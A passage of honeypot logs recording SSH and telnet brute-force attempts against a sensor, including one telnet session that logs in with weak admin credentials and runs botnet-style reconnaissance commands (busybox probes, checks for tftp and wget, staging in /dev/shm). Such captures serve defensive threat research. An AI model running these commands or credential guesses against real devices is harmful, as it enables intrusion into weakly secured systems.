14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:49.892471Z","src_ip":"37.143.61.84","session":"c2b64f62de65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu1","password":"Ubuntu1","message":"login attempt [Ubuntu1/Ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:50.385248Z","src_ip":"37.143.61.84","session":"c2b64f62de65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:04:51.494210Z","src_ip":"37.143.61.84","session":"c2b64f62de65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51216,"dst_ip":"159.203.135.109","dst_port":22,"session":"f67714362e20","protocol":"ssh","message":"New connection: 159.203.92.129:51216 (159.203.135.109:22) [session: f67714362e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:05:20.013835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:05:20.018547Z","src_ip":"159.203.92.129","session":"f67714362e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:05:20.023591Z","src_ip":"159.203.92.129","session":"f67714362e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"7","password":"123","message":"login attempt [7/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:05:20.037932Z","src_ip":"159.203.92.129","session":"f67714362e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:05:21.044333Z","src_ip":"159.203.92.129","session":"f67714362e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52794,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fc43226708e","protocol":"ssh","message":"New connection: 159.203.92.129:52794 (159.203.135.109:22) [session: 0fc43226708e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:03.971992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:03.976978Z","src_ip":"159.203.92.129","session":"0fc43226708e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:03.981742Z","src_ip":"159.203.92.129","session":"0fc43226708e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"7","password":"123456","message":"login attempt [7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:03.996816Z","src_ip":"159.203.92.129","session":"0fc43226708e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:05.004382Z","src_ip":"159.203.92.129","session":"0fc43226708e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.215.148.102","src_port":44574,"dst_ip":"159.203.135.109","dst_port":23,"session":"e457a74655af","protocol":"telnet","message":"New connection: 175.215.148.102:44574 (159.203.135.109:23) [session: e457a74655af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:15.088080Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:15.719521Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:15.766166Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:15.968046Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:15.973869Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:15.977749Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:15.981589Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:15.985207Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:15.988875Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc/mounts; /bin/busybox NLSMZ","message":"CMD: cat /proc/mounts; /bin/busybox NLSMZ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:16.194196Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NLSMZ","message":"CMD: cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NLSMZ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:16.400757Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"tftp; wget; /bin/busybox NLSMZ","message":"CMD: tftp; wget; /bin/busybox NLSMZ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:16.604931Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","message":"CMD: dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:16.810665Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"while read i","message":"Command not found: while read i","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:16.817226Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox NLSMZ","message":"CMD: /bin/busybox NLSMZ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:17.020871Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"rm .s; exit","message":"CMD: rm .s; exit","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:17.026031Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"q","message":"CMD: q","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:17.030927Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"q ","message":"Command not found: q ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:17.034605Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2b7081997a7720d4ec24c1ee414e522f4770ef8a451146b283a34f29dd51b170","size":3466,"shasum":"2b7081997a7720d4ec24c1ee414e522f4770ef8a451146b283a34f29dd51b170","duplicate":false,"duration":"1.3","message":"Closing TTY Log: var/lib/cowrie/tty/2b7081997a7720d4ec24c1ee414e522f4770ef8a451146b283a34f29dd51b170 after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:17.045034Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9695429801940918,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:17.057520Z","src_ip":"175.215.148.102","session":"e457a74655af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.59.82.52","src_port":38494,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fafcfa9509e","protocol":"telnet","message":"New connection: 172.59.82.52:38494 (159.203.135.109:23) [session: 0fafcfa9509e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:20.094769Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50066,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7755724bd7e","protocol":"ssh","message":"New connection: 80.94.92.186:50066 (159.203.135.109:22) [session: a7755724bd7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:31.649230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:31.736904Z","src_ip":"80.94.92.186","session":"a7755724bd7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:31.907163Z","src_ip":"80.94.92.186","session":"a7755724bd7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:32.650106Z","src_ip":"80.94.92.186","session":"a7755724bd7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:33.870038Z","src_ip":"80.94.92.186","session":"a7755724bd7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39814,"dst_ip":"159.203.135.109","dst_port":22,"session":"acd0bf507fc0","protocol":"ssh","message":"New connection: 159.203.92.129:39814 (159.203.135.109:22) [session: acd0bf507fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:48.118956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:48.170620Z","src_ip":"159.203.92.129","session":"acd0bf507fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:48.173710Z","src_ip":"159.203.92.129","session":"acd0bf507fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"7","password":"7","message":"login attempt [7/7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:48.199213Z","src_ip":"159.203.92.129","session":"acd0bf507fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:06:49.204941Z","src_ip":"159.203.92.129","session":"acd0bf507fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34542,"dst_ip":"159.203.135.109","dst_port":22,"session":"1011df12621d","protocol":"ssh","message":"New connection: 37.143.61.84:34542 (159.203.135.109:22) [session: 1011df12621d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:07:09.384074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:07:09.692359Z","src_ip":"37.143.61.84","session":"1011df12621d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:07:09.882133Z","src_ip":"37.143.61.84","session":"1011df12621d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01123","message":"login attempt [user01/user01123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:07:15.294938Z","src_ip":"37.143.61.84","session":"1011df12621d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:07:16.702800Z","src_ip":"37.143.61.84","session":"1011df12621d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46988,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f4351c42f23","protocol":"ssh","message":"New connection: 159.203.92.129:46988 (159.203.135.109:22) [session: 2f4351c42f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:07:31.593490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:07:31.597099Z","src_ip":"159.203.92.129","session":"2f4351c42f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha25